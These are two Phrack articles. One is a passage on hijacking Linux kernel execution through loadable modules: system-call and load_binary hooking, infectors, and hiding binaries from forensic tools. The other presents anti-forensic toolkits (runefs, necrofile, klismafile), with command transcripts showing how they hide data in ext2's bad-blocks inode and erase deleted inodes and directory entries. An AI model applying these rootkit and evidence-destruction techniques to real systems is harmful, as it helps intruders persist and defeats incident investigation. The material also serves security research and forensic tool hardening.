		elf_bin = current->binfmt;
		old_load_binary = elf_bin->load_binary;
		elf_bin->load_binary = &new_load_binary;

		 * and restore the system call.
		sys_call_table[__NR_open] = o_open;

		return ret;

  An evil attack would of course replace the core_dump pointer, too.
Otherways it may be possible to detect redirection of execution by letting
each process, right after creation, coredump. Then one may check properties
of the dump and if they match, or not, execution may be reinitalized, or
not, respectively. I do not recomment this method to detect redirection,

  An evil virus could wrap the load_binary function for infecting all
binaries executed in memory.

  Even replaced pointers are hard to check if you do not know where they
are. If we have a recent file, we can walk the list of binary
handlers since we can look up the address of the root entry ("formats" as
defined in ~/fs/exec.c) and the handler functions. In other cases we might
be out of luck. One might try to collect the unmodified addresses himself
to be able to check them later one. Not a good idea ...

--[ 3.5 - The Lord

  What about not redirecting execution at execution time? Where is the
logic in not redirecting execution flow when it is exactly what we are
doing here?

  When ELF binaries are executed, the kernel invokes a dynamic linker. It
does necessary setup work as loading shared libraries and relocating them.
We will try to make an advantage of this.

  Between execution of a binary at system level and the start of the
execution at user level is a gap where the setup described above is done.
And as loading of libraries involves mmap'ing and mprotect'ing we already
know where we can start. We will just look at these system calls. Shared
libraries are loaded to the same (static) address (which might differ from
system to system). If a certain address is to be mapped or mprotect'ed by a
certain process we restart the execution, with our binary. At this point of
execution, the process calling mmap or mprotect is the dynamic linker.

  That is was the example implementation in appendix A, lord.c, does.

  Note that we can, of course, look for an arbitrary runtime pattern, there
is no need for sticking to mmap or mprotect system calls. It is only of
importance to start the new binary before the user can percept what is
going on.

  Note, too, that this technique may be used to execute a binary in before
and afterwards of the binary requested to be executed. That might be useful
to modify the system enviroment.

  And finally note that we are not forced to sticking to a distinct runtime
pattern. We may change at will the pattern triggering a redirection. I am
really curious what people will do to detect execution redirection achieved
with this method as it is not sufficient to check for one or two replaced
pointers. It is even not sufficient to do execution path analysis as the
path can be different for each execution. And it is not enough to search
the filesystems for hidden files (which might indicate that, too, execution
redirection is going on). Why is it not enough? See appendix B. All employed
methods for forensical analysis of execution redirection defeated in one
module? We could make the decision from/to where and when (and whoms)
execution shall be redirected dependant on an arbitrary state or pattern.

  This is another handy entry point for an infector.

--[ 4 - Conclusion

  We can take complete control of binary execution. There are many ways to
redirect execution, some are easier to detect than others. It has to be
asserted that it is not sufficient to check for one or two replaced pointer
to get evidence if a system has been backdoored. Even if a system call has
not been replaced (not even redirected at all) execution redirection can

  One might now argue it is possible to search the binary redirected to. It
has to be physically present on the harddisk. Programs have been developed
to compare the content of a harddisk to the filesystem content shown in
user land. Therefore it would be possible to detect even hidden files, as
there might be, if a kernel backdoor is in use.  That is completely wrong.

  Most obviously we would keep the binary totally in kernel memory. If our
binary needs to be executed, we write it to disk and execute. When
finished, we unlink it. Of course, it is also possible to copy the binary
just "in place" when it is to be executed. Finally, to prevent pattern
matching in kernel memory, we encrypt the data. A approach to this method
is shown in appendix B. Under linux we can abuse the proc filesystem for
this purpose, too.

  As long as forensic tools work on with a closed world assumption it will
be still possible to evade them. Checking for replaced pointers does not
help unless you check all, not only those "believed to be" important
(letting alone that pointer checking cannot prove if a function is
redirected or not). Developers might better invest their time to develop
tools checking possible execution paths.  Anomaly detection of kernel
behaviour is a more reliable forensical analysis method than pattern

--[ 5 - Reference

[1] Tripwire
[2] Aide
[3] knark
[4] kernel function hijacking
[5] Linux x86 kernel function hooking emulation
[6] LKM - Loadable Linux Kernel Modules

--[ Appendix A: stories.tgz.uu

<++> ./stories.tgz.uu
begin-base64 644 stories.tgz

--[ Appendix B: fluc.c.gz.uu

<++> ./fluc.c.gz.uu
begin-base64 644 fluc.c.gz.uu



                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3b, Phile #0x06 of 0x12

|=--------------=[ Defeating Forensic Analysis on Unix ]=----------------=|
|=-------------=[ the grugq <> ]=----------------=|
|=--------------------[ ]=------------------------=|

--[ Contents

  1 - Introduction
    1.1 - Generic Unix File Systems
    1.2 - Forensics

  2 - Anti-Forensics

  3 - Runefs
    3.1 - Creating hidden space
    3.2 - Using hidden space
    3.3 - TCT unclear on ext2fs specifications

  4 - The Defiler's Toolkit
    4.1 - Necrofile
      4.1.1 - TCT locates deleted inodes
      4.1.2 - Necrofile locates and eradicates deleted inodes
      4.1.3 - TCT unable to locate non-existant data
    4.2 - Klismafile
      4.2.1 - fls listing deleted directory entries
      4.2.2 - Klismafile cleaning deleted directory entries
      4.2.3 - fls unable to find non-existant data

  5 - Conclusion

  6 - Greets

  7 - References

  8 - Appendix
    8.1 - The Ext2fs
    8.2 - runefs.tar.gz (uuencoded)
    8.3 - tdt.tar.gz (uuencoded)

--[ 1 - Introduction

   Anti-forensics: the removal, or hiding, of evidence in an attempt to
         mitigate the effectiveness of a forensics investigation.

    Digital forensic analysis is rapidly becoming an integral part of
incident response, capitalising on a steady increase in the number of
trained forensic investigators and forensic toolkits available. Strangly,
despite the increased interest in, and focus on, forensics within the
information security industry, there is surprisingly little discussion of
anti-forensics. In an attempt to remedy the lack of coverage in the
literature, this article presents anti-forensic strategies to defeat
digital forensic analysis on Unix file systems. Included are example
implementations of these strategies targeting the most common Linux file
system -- ext2fs.

    To facilitate a useful discussion of anti-forensic strategies it is
important that the reader possess certain background information. In
particular, the understanding of anti-forensic file system sanitization
requires the comprehension of basic Unix file system organisation. And, of
course, the understanding of any anti-forensic theory demands at least a
rudimentary grasp of digital forensic methodology and practise. This
article provides a limited introduction to both Unix file systems and
digital forensics. Space constraints, however, limit the amount of coverage
available to these topics, and the interested reader is directed to the
references, which discuss them in greater depth.

----[ 1.1 - Generic Unix File Systems

    This section will describe basic Unix file system theory (not focussing
on any specific implementation), discussing the meta-data structures used
to organise the file system internally. Files within the Unix OS are
continuous streams of bytes of arbitrary length and are the main
abstraction used for I/O. This article will focus on files in the more
general sense of data stored on disk and organised by a file system.

    The data on a disk compriising a Unix file systems is commonly divided
into two groups, information about the files and the data within the files.
The organizational and accounting information (normally only visible only
to the kernel) is called "meta-data", and includes the super-block, inodes
and directory files. The content stored in the files is simply called

    To create the abstraction of a file the kernel has to transparently
translate data stored across one or more sectors on a hard disk into a
seemless stream of bytes. The file system is used to keep track of which,
and in what order, these sectors should be group together into a file.
Additionally, these sector groups need to be kept seperate, and
individually distinguishable to the operating system. For this reason there
are several types of meta-data, each responsible for accomplishing one of
these various tasks.

    The content of a file is stored on data blocks which are logical
clusters of hard disk sectors. The higher the number of sectors per data
block the faster the speed of the disk I/O, improving the file system's
performance. At the same time, the larger the data blocks the larger the
disk space wasted for files which don't end on block boundaries. Modern
file systems typically compromise with block size of 4096 or 8192 bytes,
and combat the disk wastage with "fragments" (something not dealt with
here). The portion of the disk dedicated to the data blocks is organised as
an array, and blocks are referred to by their offsets within this array.
The state of a given block, i.e. free vs. allocated, is stored in a bitmap
called the "block bitmap".  

    Data blocks are clustered and organised into files by inodes. Inodes
are the meta-data structure which represent the user visible files; one for
each unique file. Each inode contains an array of block pointers (that is,
indexes into the data block array) and various other information about the
file. This additional information about the file includes: the UID; GID;
size; permissions; modification/access/creation (MAC) times, and some other
data. The limited amount of space available to inodes means the the block
pointer array can only contain a small number of pointers. To allow file
sizes to be of substantial length, inodes employ "indirect blocks". An
indirect block acts as an extension to the block array, storing additional
pointers. Doubly and trebly indirect blocks contain block pointers to
further indirect blocks, and doubly indirect blocks respectively. Inodes
are stored in an array called the inode table, and are referred to by their
0-based indexes within this table. The state of an inode, i.e. free vs.
allocated, is stored in a bitmap called, imaginitively, the "inode bitmap".

    Files, that is, inodes, are associated with file names by special
structures called directory entries stored within directory files. These
structures are stored contigously inside the directory file. Directory
entries have a basic structure of:

struct dirent {
    int   inode;
    short rec_size;
    short name_len;
    char  file_name[NAME_LEN];

    The 'inode' element of the dirent contains the inode number which is
linked with the file name, stored in 'file_name'. To save space, the actual
length of the file name is recorded in 'name_len' and the remaining space
in the file_name array is used by the next directory entry structure. The
size of a dirent is usually rounded up to the closest power of two, and
this size is stored in 'rec_size'. When a file name/inode link is removed,
the inode value is set to 0 and the rec_size of the preceding dirent is
extended to encompass the deleted dirent. This has the effect of storing
the names of deleted files inside directory files.

    Everytime an file name is linked with a file name, and internal counter
within the inode is incremented. Likewise, everytime a link is removed,
this counter is decremented. When this counter reaches 0, there are no
references to the inode from within the directory structure; the file is
deleted. Files which have been deleted can safely have their resources, the
data blocks and the inode itself, freed. This is accomplished by marking
the appropriate bitmaps.

    Directories files themselves are logically organised as a tree starting
from a root directory.  This root directory file is associated with a known
inode (inode 2) so that the kernel can locate it, and mount the file

    To mount a file system the kernel needs to know the size and locations
of the meta-data. The first piece of meta-data, the super block, is stored
at a known location. The super-block  contains information such as the
number of inodes and blocks, the size of a block, and a great deal of
additional information. Based on the data within the super block, the
kernel is able to calculate the locations and sizes of the inode table and
the data portion of the disk.

    For performance reasons, no modern file system actually has just one
inode table and one block array. Rather inodes and blocks are clustered
together in groups spread out across the disk. These groups usually contain
private bitmaps for their inodes and blocks, as well as copies of the
superblock to aid recovery in case of catastrophic data loss.

    Thus concludes the whirlwind tour of a generic unix file system. A
specific implementation is described in Appendix A: The Second Extended
File System. The next section will provide an introduction to digital file
system forensics.

----[ 1.2 - Forensics

    Digital forensic analysis on a file system is conducted to gather
evidence for some purpose. As stated previously, this purpose is irrelevant
to this discussion because anti-forensics theory shouldn't rely on the
intended use of the evidence; it should focus on preventing the evidence
from being gathered. That being said, ignorance as to the reasons behind an
analysis provides no benefit, so we will examine the two primary motivators
behind an investigation.

    The purpose of an incident response analysis of a file system is either
casual, or legal. These terms are not the standard means to describing
motives and because there are significant differences between the two, some
explanation is in order.

    Legal investigations are to aid a criminal prosecution. The strict
requirements on evidence to be submitted to a court of law make subversion
of a legal forensic investigations fairly easy. For instance, merely
overwriting the file system with random data is sufficient to demonstrate
that none of the data gathered is reliable enough for submission as

    Casual investigations do not have as their goal the criminal
prosecution of an individual. The investigation is executed because of
interest on the part of the forensic analyst, and so the techniques, tools
and methodology used are more liberally inclined. Subverting a casual
forensic analysis requires more effort and skill because there are no
strict third party requirements regarding the quality or quantity of

    Regardless of the intent of the forensics investigation, the steps
followed are essentially the same:

        * the file system needs to be captured
	* the information contained on it gathered
	* this data parsed into evidence 
	* this evidence examined.

    This evidence is both file content (data), and information about the
file(s) (meta-data). Based on the evidence retrieved from the file system
the investigator will attempt to:

        * gather information about the individual(s) involved [who]
        * determine the exact nature of events that transpired [what] 
        * construct a timeline of events [when]
        * discover what tools or exploits where used [how]

    As an example to how the forensics process works, the example of the
recovery of a deleted file will be presented.

    A file is deleted on a Unix file system by decrementing the inode's
internal link count to 0. This is accomplished by removing all directory
entry file name inode pairs. When the inode is deleted, the kernel will
mark is resources as available for use by other files -- and that is all.
The inode will still contain all of the data about the file which it
referenced, and the data blocks it points to will still contain file
content. This remains the case until they have been reallocated, and
reused; overwriting this residual data.

    Given this dismal state of affairs, recovering a deleted file is
trivial for the forensic analyst. Simply searching for inodes which have
some data (i.e. are not virgin inodes), but have a link count of 0 reveals
all deleted inodes. The block pointers can then be followed up and the file
contents (hopefully) recovered. Even without the file content, a forensic
analyst can learn much about what happened on a file system with only the
meta-data present in the directory entries and inodes. This meta-data is
not accessable through the kernel system call interface and thus is not
alterable by normal system tools (this is not strictly true, but is
accurate enough from a forensics POV). 

    Unfortunately, accomplishing this is extremely difficult, if not
impossible, when the forensic analyst is faced with a hostile
anti-forensics agent. The digital forensics industry has had an easy time
of late due to the near absense of anti-forensics information and tools,
but that is (obviously) about to change. 

--[ 2 - Anti-Forensics

    In the previous section forensic analysis was outlined, and means of
subverting the forensic process were hinted at, this section will expand on
anti-forensic theory. Anti-forensics is the attempt to mitigate the
quantity and quality of information that an investigator can examine. At
each steps of the analysis, the forensics process is vulnerable to attack
and subversion. This article focuses primarily on subverting the data
gathering phase of a digital forensics investigation, with two mechanisms
being detailed here: the first is data destruction, and the second data
hiding. Some mention will also be given to exploiting vulnerabilities
throughout the analytic process.

    The digital forensics process is extremely vulnerable to subversion
when raw data (e.g. a bit copy of a file system) is converted into evidence
(e.g. emails). This conversion process is vulnerable at almost every step,
usually because of an abstraction that is performed on the data.  When an
abstraction layer is encountered, details are lost, and details *are* data.
Abstractions remove data, and this creates gaps in the evidence which can
be exploit. But abstractions are not the only source of error during a
forensic analysis, the tools used are themselves frequently flawed and
imperfect. Bugs in the implementations of forensic tools provide even
greater oppurtunities for exploitation by anti-forensic agents.

    There is little that a remote anti-forensics agent can do to prevent
the file system from being captured, and so focus has been given to
exploiting the next phase of a forensic investigation -- preventing the
evidence from being gathered off the file system. Halting data aquisition
can be accomplished by either of two primary mechanisms: data destruction
and data hiding. Of the two methods, data destruction is the most reliable,
leaving nothing behind for the investigator to analyse. Data destruction
provides a means of securely removing all trace of the existance of
evidence, effectively covering tracks.

    Data hiding, on the other hand, is useful only so long as the analyst
doesn't know where to look. Long term integrity of the data storage area
cannot be garaunteed. For this reason, data hiding should be used in
combination with attacks against the parsing phase (e.g. proprietary file
formats), and against the examination phase (e.g. encryption). Data hiding
is most useful in the case of essential data which must be stored for some
length of time (e.g. photographs of young women in artistic poses).

    The two toolkits which accompany this article provide demonstration
implementations of both data destruction, and data hiding methodologies.
The toolkits will be used to provide examples when examining data
destruction and hiding in greater detail below. The first anti-forensics
methodology that will be examined in depth is data hiding. 

--[ 3 - Runefs

    The most common toolkit for Unix forensic file system analysis is "The
Coronor's Toolkit"[1] (TCT) developed by Dan Farmer and Wietse Venema.
Despite being relied on for years as the mainstay of the Unix digital
forensic analyst, and providing the basis for several enhancements [2][3],
it remains as flawed today as when it was first released. A major file
system implementation bug allows an attacker to store arbitrary amounts of
data in a location which the TCT tools cannot examine.

    The TCT implementations of the Berkley Fast File System (FFS or
sometimes UFS), and the Second Extended File System (ext2fs), fail to
correctly reproduce the file system specifications. TCT makes the incorrect
assumption that no data blocks can be allocated to an inode before the root
inode; failing to take into account the bad blocks inode.

    Historically, the bad blocks inode was used to reference data blocks
occupying bad sectors of the hard disk, preventing these blocks from being
used by live files. The FFS has deprecated the bad blocks inode, preventing
the successful exploitation of this bug, but it is still in use on ext2fs.
Successfully exploiting a file system data hiding attack means, for an
anti-forensics agent, manipulating the file system without altering it
outside of the specifications implemented in the file system checker: fsck.
Although, it is interesting to note that no forensic analysis methodology
uses fsck to ensure that the file system has not been radically altered.

    The ext2fs fsck still uses the bad blocks inode for bad block
referencing, and so it allows any number of blocks to be allocated to the
inode. Unfortunately, the TCT file system code does not recognise the bad
blocks inode as within the scope of an investigation. The bad blocks inode
bug is easy to spot, and should be trivial to correct. Scattered throughout
the file system code of the TCT package (and the related toolkit TASK) is
the following errorneous check:

     * Sanity check.
     if (inum < EXT2_ROOT_INO || inum > ext2fs->fs.s_inodes_count)
          error("invalid inode number: %lu", (ULONG) inum);

    The first inode that can allocate block resources on a ext2 file system
is in fact the bad blocks inode (inode 1) -- *not* the root inode (inode
2). Because of this mis-implementation of the ext2fs it is possible to
store data on blocks allocated to the bad blocks inode and have it hidden
from an analyst using TCT or TASK. To illustrate the severity of this
attack the following examples demonstrate using the accompanying runefs
toolkit to: create hidden storage space; copy data to and from this area,
and show how this area remains secure from a forensic analyst.

----[ 3.1 - Example: Creating hidden space

# df -k /dev/hda6
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/hda6              1011928        20    960504   1% /mnt
# ./bin/mkrune -v /dev/hda6
+++ bb_blk +++ 
    bb_blk->start = 33275
    bb_blk->end = 65535
    bb_blk->group = 1
    bb_blk->size = 32261
rune size: 126M
# df -k /dev/hda6
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/hda6              1011928    129196    831328  14% /mnt
# e2fsck -f /dev/hda6
e2fsck 1.26 (3-Feb-2002)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/hda6: 11/128768 files (0.0% non-contiguous), 36349/257032 blocks

    This first example demonstrates the allocation of 126 megabytes of disk
space for the hidden storage area, showing how this loss of available disk
space is registered by the kernel. It is also evident that the hidden
storage area does not break the specifications of the ext2 file system --
fsck has no complaints.

----[ 3.2 - Example: Using the hidden space

# cat | ./bin/runewr /dev/hda6
# ./bin/runerd /dev/hda6 > f
# diff f 

    This second example shows how data can be inserted and extracted from
the hidden storage space without any data loss. While this example does not
comprehensively explore the uses of a hidden data storage area, it is
sufficient to demonstrate how data can be introduced to and extracted from
the runefs.

----[ 3.3 - Example: TCT incorrect ext2fs implementation

# ./icat /dev/hda6 1
/icat: invalid inode number: 1

    This last example illustrates how the forensic analyst is incapable of
finding this storage area with the TCT tools. Clearly, there are many
problems raised when the file system being examined has not been correctly
implemented in the tools used.

    Interesting as these examples are, there are problems with this runefs.
This implementation of runefs is crude and old (it was written in November
2000), and it does not natively support encryption. The current version of
runefs is a dynamicly resizeable file system which supports a full
directory structure, is fully encrypted, and can grow up to four gigabytes
in size (it is private, and not will be made available to the public).

    The final problem with this runefs in particular, and the private
implementation as well, is that the bad blocks data hiding technique is now
public knowledge (quite obviously). This highlights the problem with data
hiding techniques, they become out dated. For this reason data hiding
should always be used in conjunction with at least one other anti-forensics
technology, such as encryption.

    There are more ways of securely storing data on the file system far
from the prying eyes of the forensic analyst, and a research paper is due
shortly that will detail many of them. However, this is the last this
article will mention on data hiding, now the focus shifts to data

--[ 4 - The Defiler's Toolkit

    The file system (supposedly) contains a record of file I/O activity on
a computer and forensic analysts attempt to extract this record for
examination. Aside from their forensic tools incorrectly reporting on the
data, these tools are useless if the data is not there to be reported on.
This section will present methodologies for thoroughly eradicating evidence
on a file system. These methodologies have been implemented in The
Defiler's Toolkit (TDT) which accompanies this article.

    The major vulnerablity with data aquisition is that the evidence being
gathered must be there when the forensic analyst begins his investigation.
Non-existant data, obviously, cannot be gathered, and without this crucial
information the forensic analyst is incapable of progressing the

    File system sanitization is the anti-forensic strategy of removing this
data (evidence), and doing so in such a way so as to leave no trace that
evidence ever existed (i.e. leave no "evidence of erasure"). The Defiler's
Toolkit provides tools to remove data from the file system with surgical
precision. By selectively eradicating the data which might become evidence,
the anti-forensics agent is able to subvert the entire forensics process
before it is even begun.

    Within a Unix file system all of the following places will contain
traces of the existence of a file -- they contain evidence:

        * inodes
        * directory entries
        * data blocks

    Unfortunately, most secure deletion tools will only remove evidence
from data blocks, leaving inodes and directory entries untouched. Included
with this article is an example implementation of an anti-forensic toolkit
which performs complete file system sanitization. The Defiler's Toolkit
provides two tools, necrofile and klismafile, which, combined, securely
eliminate all trace of a file's existance.

    The Defiler's Toolkit consists of two complimentary tools, necrofile
and klismafile. Their design goals and implementation are described here.

----[ 4.1 - Necrofile

    Necrofile is a sophisicated dirty inode selection and eradication tool.
It can be used to list all dirty inodes meeting certain deletion time
criteria, and then scrub those inodes clean. These clean inodes provide no
evidence for the forensic analyst investigating the file system contained
on that disk.

    Necrofile has some built in capabilities to securely delete all content
on the data blocks referenced by the dirty inode. However, this is not the
ideal use of the tool because of the race conditions which afflict all
tools handling file system resources without the blessing of the kernel.

    When necrofile is invoked, it is supplied with a file system to search,
and a number of criteria be used to determine whether a given dirty inode
should be scrubbed clean. As necrofile iterates through the inode table, it
check the state of each inode, with dirty inodes being given extra
attention. All dirty inodes that meet the time criteria are written back
to the inode table as virgin inodes, and the iteration continues.

------[ 4.1.1 - Example: TCT locates deleted inodes

# ./ils /dev/hda6

------[ 4.1.2 - Example: necrofile locates and eradicates deleted inodes

# ./necrofile -v -v -v -v /dev/hda6 
Scrubbing device: /dev/hda6
12 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
13 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
14 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
15 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
16 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
17 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
18 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
19 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
20 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
21 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
22 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
23 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
24 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
25 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
26 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
27 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
28 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
29 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
30 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
31 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
32 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
33 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
34 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
35 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
36 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
37 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f


------[ 4.1.3 - Example: TCT unable to locate non-existant data

#  ./ils /dev/hda6 

    Little explanation is necessary with these examples. The "ils" tool is
part of TCT and lists deleted inodes for potential recovery. The necrofile
tool is being run in its most verbose form, as it locates and overwrites
the same inodes found by ils. Necrofile is more effective, however, when
used to target inodes deleted during specific time slices, leaving all
other deleted inodes untouched. This tactic eliminates evidence of erasure,
i.e. indications that evidence has been removed. After the deleted inodes
have been converted into virgin inodes, ils is justifiably incapable of
finding them. After removing the inodes which contain valuable forensic
data, the other location which needs to be sanitized is the directory

----[ 4.2 - Klismafile

    Klismafile provides a means of securely overwriting deleted directory
entries. When a file name/inode link is terminated, the content of the
directory entry is not overwritten; simply included in the slack space of
the preceeding entry. Klismafile will search a directory file for these
"deleted" entries, and overwrite them. Regular expressions can be used to
limit the number of directory entries removed.

    When klismafile is invoked, it is provided with a directory file to
search, and can optionally recurse through all other directory files it
encounters. Klismafile will iterate through the directory entries, and
search for dirents which have been deleted. When it encounters a deleted
dirent, klismafile will compare the 'file_name' against any regular
expressions provided by the invoker (the default is '*'). If there is a
match, klismafile will overwrite the dirent with zeroes.

    Klismafile is not a completely secure solution. A skilled forensic
analyst will note that the preceeding directory entry's rec_len field is
larger than it should be, and could infer than a tool such as klismafile
has artificially manipulated the directory file's contents. Currently,
there are no tools which perform this check, however that will no doubt
change soon.

------[ 4.2.1 - Example: fls listing deleted directory entries

# ./fls -d /dev/hda6 2           
? * 0:  a
? * 0:  b
? * 0:  c
? * 0:  d
? * 0:  e
? * 0:  f
? * 0:  g
? * 0:  h
? * 0:  i
? * 0:  j
? * 0:  k
? * 0:  l
? * 0:  m
? * 0:  n
? * 0:  o
? * 0:  p
? * 0:  q
? * 0:  r
? * 0:  s
? * 0:  t
? * 0:  u
? * 0:  v
? * 0:  w
? * 0:  x
? * 0:  y
? * 0:  z

------[ 4.2.2 - Example: Klismafile cleaning deleted directory entries

# ./klismafile -v /mnt
Scrubbing device: /dev/hda6
cleansing /
-> a
-> b
-> c
-> d
-> e
-> f
-> g
-> h
-> i
-> j
-> k
-> l
-> m
-> n
-> o
-> p
-> q
-> r
-> s
-> t
-> u
-> v
-> w
-> x
-> y
-> z
Total files found:      29
Directories checked:    1
Dirents removed :       26

------[ 4.2.3 - Example: fls unable to find non-existant data

# ./fls -d /dev/hda6 2  

    These examples speak for themselves. The 'fls' utility is part of the
TCT-UTILS package, and is intended to examine directory files. In this
case, it is listing all deleted directory entries in the root directory of
the file system. Klismafile is then run in verbose mode, listing and
overwriting each directory entry it encounters. After klismafile, fls is
incapable of noting that anything is amiss within the directory file.

    Note: The linux 2.4 kernel caches directories in kernel memory, rather
than immediately updating the file system on disk. Because of this, the
directory file that klismafile examines and attempts to clean might not be
current, or the changes made might get overwritten by the kernel. Usually,
performing disk activity in another directory will flush the cache,
allowing kilsmafile to work optimally.

    The Defiler's Toolkit has been written as a proof of concept utility to
demonstrate the inherent flaws with all current digital forensic
methodologies and techniques. The toolkit successfully accomplishes the
goals for which it was designed; proving that forensic analysis after an
intrusion is highly suspect without significant prior preparation of the
targeted computers.

--[ 5 - Conclusion

    Digital forensic tools are buggy, error prone and inherently flawed.
Despite these short comings they are being relied on more and more
frequently to investigate computer break-ins. Given that this
fundamentally broken software plays such a key role in incident response,
it is somewhat surprising that no-one has documented anti-forensic
techniques, nor sort to develop counter-measures (anti-anti-forensics).
Some suggestions regarding anti-anti-forensics methodology are presented
here, to provide the security community a foothold in the struggle against

    The Defilers Toolkit directly modifies the file system to eliminate
evidence inserted by the operating system during run time. The way to
defeat the defiler's toolkit is to not rely on the local file system as the
only record of disk operations. For instance, make a duplicate record of
the file system modifications and store this record in a secure place. The
simplest solution would be to have all inode updates be written to a log
file located on a seperate box. A trivial addition to the kernel vfs
layer, and a syslog server would be more than adequate for a first
generation anti-anti-fornesics tool.

    The only means of effectively counteracting an anti-forensics attack
is to prepare for such an eventuality prior to an incident. However,
without the tools to make such preparation effective, the computing public
is left vulnerable to attackers whose anonymity is assured. This article is
intended as a goad to prod the security industry into developing effective
tools. Hopefully the next generation of digital forensic investigating
tookits will give the defenders something reliable with which to
effectively combat the attackers.

--[ 6 - Greets

Shout outs to my homies!
East Side: stealth, scut, silvio, skyper, smiler, halvar, acpizer, gera
West Side: blaadd, pug, srk, phuggins, fooboo, will, joe
Up Town: mammon_, a_p, _dose
Down Town: Grendel, PhD.

--[ 7 - References:

[1] Dan Farmer, Wietse Venema "TCT"
[2] Brian Carrier "TCTUTILS"
[3] Brian Carrier "TASK"
[4] Theodore T'so "e2fsprogs"

--[ 8 - APPENDIX A

----[ 8.1 - Ext2fs

    In the honored phrack tradition of commented header files, here is a
guide to the second extended file system. 

    The second extended file system (ext2fs) is the standard file system on
the Linux OS. This paper will provide an introduction to the file system.
Reading this document is no substitute for reading the src, both in the
kernel and in the ext2fs library. 

    What follows is a bottom up description of the ext2 file system;
starting with blocks and inodes and concluding, ultimately, with

		. o O ( B L O C K S ) O o .

    The basic component of the file system is the data block, used to store
file content. Typically, the smallest addressable unit on a hard disk is a
sector (512 bytes), but this is too small for decent I/O rates. To increase
performance multiple sectors are clustered together and treated as one
unit: the data block. The typical block size on an ext2fs system is 4096
bytes; however, it can be 2048 bytes or even as small as 1024 (8, 4 and 2
sectors, respectively). 

		. o O ( I N O D E S ) O o .

    The second core part of the file system, the inode, is the heart of
the Unix file system. It contains the meta-data about each file including:
pointers to the data blocks, file permissions, size, owner, group and other
vital peices of information.

The format of an ext2 inode is as follows:

struct ext2_inode {
	__u16	i_mode;		/* File mode */
	__u16	i_uid;		/* Owner Uid */
	__u32	i_size;		/* Size in bytes */
	__u32	i_atime;	/* Access time */
	__u32	i_ctime;	/* Creation time */
	__u32	i_mtime;	/* Modification time */
	__u32	i_dtime;	/* Deletion Time */
	__u16	i_gid;		/* Group Id */
	__u16	i_links_count;	/* Links count */
	__u32	i_blocks;	/* Blocks count */
	__u32	i_flags;	/* File flags */
	union {
		struct {
			__u32  l_i_reserved1;
		} linux1;
		struct {
			__u32  h_i_translator;
		} hurd1;
		struct {
			__u32  m_i_reserved1;
		} masix1;
	} osd1;				/* OS dependent 1 */
	__u32	i_block[EXT2_N_BLOCKS];/* Pointers to blocks */
	__u32	i_version;	/* File version (for NFS) */
	__u32	i_file_acl;	/* File ACL */
	__u32	i_dir_acl;	/* Directory ACL */
	__u32	i_faddr;	/* Fragment address */
	union {
		struct {
			__u8	l_i_frag;	/* Fragment number */
			__u8	l_i_fsize;	/* Fragment size */
			__u16	i_pad1;
			__u32	l_i_reserved2[2];
		} linux2;
		struct {
			__u8	h_i_frag;	/* Fragment number */
			__u8	h_i_fsize;	/* Fragment size */
			__u16	h_i_mode_high;
			__u16	h_i_uid_high;
			__u16	h_i_gid_high;
			__u32	h_i_author;
		} hurd2;
		struct {
			__u8	m_i_frag;	/* Fragment number */
			__u8	m_i_fsize;	/* Fragment size */
			__u16	m_pad1;
			__u32	m_i_reserved2[2];
		} masix2;
	} osd2;				/* OS dependent 2 */

    The two unions exist because the ext2fs is intended to be used on
several operating systems that provide slightly differing features in their
implementations. Aside from exceptional cases, the only elements of the
unions that matter are the Linux structs: linux1 and linux2. These can
simply be treated as padding as their contents are ignored in current
implementations of ext2fs. The usage of the rest of the inode's values are
described below.

* i_mode 	The mode of the file, this is the usual octal permissions
		that Unix users should be familiar with.

* i_uid		The UID of the owner of the file. 

* i_size 	The size of the file, in bytes. Clearly the maximum size is
		4G, as size is an unsigned 32bit integer. Support for 64bit
		file sizes had been hacked in with the following define
		supplying the high 32bits:
#define i_size_high	i_dir_acl

* i_atime	The last time the file was accessed. All times are stored
		in usual Unix manner: seconds since the epoch.

* i_ctime	The creation time of the file.

* i_mtime	The last time the file was modified.

